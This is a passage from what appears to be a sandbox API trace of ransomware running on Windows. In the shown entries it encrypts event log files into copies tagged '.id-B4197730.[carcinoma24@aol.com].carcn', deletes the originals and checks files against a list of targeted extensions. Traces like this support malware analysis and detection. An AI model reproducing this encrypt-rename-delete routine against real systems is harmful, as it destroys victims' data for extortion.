(lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.885] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.885] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0179.889] GetLastError () returned 0x0 [0179.889] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.918] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.919] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.919] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x144, lpOverlapped=0x0) returned 1 [0179.919] SetEndOfFile (hFile=0x380) returned 1 [0179.920] CloseHandle (hObject=0x380) returned 1 [0179.921] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.921] SetEndOfFile (hFile=0x36c) returned 1 [0179.923] CloseHandle (hObject=0x36c) returned 1 [0179.923] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.923] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString=".doc") returned 4 [0179.924] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString=".docx") returned 5 [0179.924] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.924] lstrlenW (lpString=".pdf") returned 4 [0179.924] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString=".xls") returned 4 [0179.924] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString=".xlsx") returned 5 [0179.924] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.924] lstrlenW (lpString=".ppt") returned 4 [0179.924] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString=".zip") returned 4 [0179.924] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString=".rar") returned 4 [0179.924] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString=".bz2") returned 4 [0179.924] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString=".7z") returned 3 [0179.924] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString=".dbf") returned 4 [0179.924] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString=".1cd") returned 4 [0179.924] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString=".jpg") returned 4 [0179.924] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.925] lstrlenW (lpString=".doc") returned 4 [0179.925] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString=".docx") returned 5 [0179.925] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.925] lstrlenW (lpString=".pdf") returned 4 [0179.925] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString=".xls") returned 4 [0179.925] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString=".xlsx") returned 5 [0179.925] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.925] lstrlenW (lpString=".ppt") returned 4 [0179.925] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.925] lstrlenW (lpString=".zip") returned 4 [0179.925] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString=".rar") returned 4 [0179.925] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString=".bz2") returned 4 [0179.925] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString=".7z") returned 3 [0179.925] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.925] lstrlenW (lpString=".dbf") returned 4 [0179.925] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.925] lstrlenW (lpString=".1cd") returned 4 [0179.925] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0179.925] lstrlenW (lpString=".jpg") returned 4 [0179.925] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.926] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.926] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0179.926] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.926] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.926] CloseHandle (hObject=0x36c) returned 1 [0179.926] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0179.926] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.926] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.926] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.926] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.926] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0179.927] GetLastError () returned 0x0 [0179.927] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.013] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.015] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.015] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x13a, lpOverlapped=0x0) returned 1 [0180.015] SetEndOfFile (hFile=0x380) returned 1 [0180.018] CloseHandle (hObject=0x380) returned 1 [0180.020] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.020] SetEndOfFile (hFile=0x36c) returned 1 [0180.021] CloseHandle (hObject=0x36c) returned 1 [0180.021] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.021] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0180.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.022] lstrlenW (lpString=".doc") returned 4 [0180.022] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.022] lstrlenW (lpString=".docx") returned 5 [0180.022] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.022] lstrlenW (lpString=".pdf") returned 4 [0180.022] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.022] lstrlenW (lpString=".xls") returned 4 [0180.022] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".xlsx") returned 5 [0180.023] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.023] lstrlenW (lpString=".ppt") returned 4 [0180.023] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.023] lstrlenW (lpString=".zip") returned 4 [0180.023] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".rar") returned 4 [0180.023] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".bz2") returned 4 [0180.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".7z") returned 3 [0180.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.023] lstrlenW (lpString=".dbf") returned 4 [0180.023] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.023] lstrlenW (lpString=".1cd") returned 4 [0180.023] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.023] lstrlenW (lpString=".jpg") returned 4 [0180.023] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.023] lstrlenW (lpString=".doc") returned 4 [0180.023] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".docx") returned 5 [0180.023] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.023] lstrlenW (lpString=".pdf") returned 4 [0180.023] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".xls") returned 4 [0180.023] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.023] lstrlenW (lpString=".xlsx") returned 5 [0180.024] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.024] lstrlenW (lpString=".ppt") returned 4 [0180.024] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.024] lstrlenW (lpString=".zip") returned 4 [0180.024] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.024] lstrlenW (lpString=".rar") returned 4 [0180.024] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.024] lstrlenW (lpString=".bz2") returned 4 [0180.024] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.024] lstrlenW (lpString=".7z") returned 3 [0180.024] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.024] lstrlenW (lpString=".dbf") returned 4 [0180.024] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.024] lstrlenW (lpString=".1cd") returned 4 [0180.024] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0180.024] lstrlenW (lpString=".jpg") returned 4 [0180.024] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.024] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.024] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0180.024] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.026] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.026] CloseHandle (hObject=0x380) returned 1 [0180.026] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0180.026] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.028] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.028] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.032] GetLastError () returned 0x0 [0180.032] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.053] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.058] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.058] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x132, lpOverlapped=0x0) returned 1 [0180.058] SetEndOfFile (hFile=0x35c) returned 1 [0180.058] CloseHandle (hObject=0x35c) returned 1 [0180.060] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.060] SetEndOfFile (hFile=0x388) returned 1 [0180.061] CloseHandle (hObject=0x388) returned 1 [0180.061] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.061] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0180.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.062] lstrlenW (lpString=".doc") returned 4 [0180.062] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString=".docx") returned 5 [0180.062] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.062] lstrlenW (lpString=".pdf") returned 4 [0180.062] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString=".xls") returned 4 [0180.062] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString=".xlsx") returned 5 [0180.062] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.062] lstrlenW (lpString=".ppt") returned 4 [0180.062] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.062] lstrlenW (lpString=".zip") returned 4 [0180.062] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString=".rar") returned 4 [0180.062] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString=".bz2") returned 4 [0180.062] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString=".7z") returned 3 [0180.062] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.062] lstrlenW (lpString=".dbf") returned 4 [0180.062] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.062] lstrlenW (lpString=".1cd") returned 4 [0180.062] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.062] lstrlenW (lpString=".jpg") returned 4 [0180.062] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.063] lstrlenW (lpString=".doc") returned 4 [0180.063] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString=".docx") returned 5 [0180.063] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.063] lstrlenW (lpString=".pdf") returned 4 [0180.063] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString=".xls") returned 4 [0180.063] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString=".xlsx") returned 5 [0180.063] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.063] lstrlenW (lpString=".ppt") returned 4 [0180.063] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.063] lstrlenW (lpString=".zip") returned 4 [0180.063] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString=".rar") returned 4 [0180.063] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString=".bz2") returned 4 [0180.063] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString=".7z") returned 3 [0180.063] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.063] lstrlenW (lpString=".dbf") returned 4 [0180.063] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.063] lstrlenW (lpString=".1cd") returned 4 [0180.063] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0180.063] lstrlenW (lpString=".jpg") returned 4 [0180.063] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.064] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.064] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0180.064] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.064] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.064] CloseHandle (hObject=0x388) returned 1 [0180.064] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0180.064] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.064] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.064] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.064] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.064] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.064] GetLastError () returned 0x0 [0180.065] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, 